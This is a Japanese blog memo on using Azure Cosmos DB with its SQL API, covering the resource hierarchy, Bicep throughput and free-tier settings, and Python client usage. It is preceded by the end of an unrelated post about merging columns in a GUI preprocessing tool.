![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/3088c54d-d104-77c4-d97e-e4587c72895d.png)

変更したいカラムを選択して『Analyze』をクリックします

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/48df2845-95f0-c1e9-cd6e-3dfeacadc5b3.png)

その後、同じカラムであろうものにチェックをして、Mearge selectedを選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/d31cfc5e-dbac-2625-214f-9a197164fae5.png)


これを繰り返すことで、要素の前処理がGUIで可能になります。
Azure: Cosmos DB をSQL 扱いで理解したこと 

# 背景

Azure Cosmos DB を触ったので、その備忘録

使ったのは、SQLデータベースとして 

# 構成
    - Account: [schema](https://learn.microsoft.com/ja-jp/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep)
        - Database: [schema](https://learn.microsoft.com/ja-jp/azure/templates/microsoft.documentdb/databaseaccounts/sqldatabases?pivots=deployment-language-bicep)
            - Container: [schema](https://learn.microsoft.com/ja-jp/azure/templates/microsoft.documentdb/databaseaccounts/sqldatabases/containers?pivots=deployment-language-bicep)

## Account

- 最初に Azure Entra かと思ってたが :sweat_smile:、Resource そのものと理解  
- ここで Free Tier の設定や、合計スループット制限が可能
- Free Tier 使う場合は、<code>Microsoft.DocumentDB/databaseAccounts@2021-10-15</code> 以降

```bicep: Free Tire 利用
  properties: {
    enableFreeTier: true
    capacity: {
      totalThroughputLimit: 1000
    }
```

## Database

- 各種DBの種類を選ぶ。今回は、SQLを選択。No SQL に使えるってのが面白い
- スループット最低は400。Free だと 1000

```bice: Free Tier のスループット 1000 
resource cosmosDbDatabase 'Microsoft.DocumentDB/databaseAccounts/sqlDatabases@2021-04-15' = {
  parent: cosmosDbAccount
  name: cosmosDbDatabaseName
  properties: {
    resource: {
      id: cosmosDbDatabaseName
    }
    options: {
      throughput: 1000
    }
  }
}
```

## Container

- 通常は複数 Container を用意する感じ  
- Container に対して、SQL 発行する
- ってことで、
    > CosmosClient().get_database_client().get_container_client()
- SQL injection 対策用の bind は、parameters で
   ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120072/4f32a724-2436-9185-14f8-4b591fc76705.png)



# SQL の制限

- delete は一括で出来ないので、Stored Procedure を使う

https://qiita.com/baku2san/items/5209afe13ad86778f5c7

# azd provision/up

以下のように、更新不可なものもある。
- container throughput
- sku

# python での制御Samples

https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/cosmos/azure-cosmos/samples/document_management.py#L106-L111

# あとがき

インフラ苦手意識があるけど、bicep で出来ると分かりやすくていいね :laughing: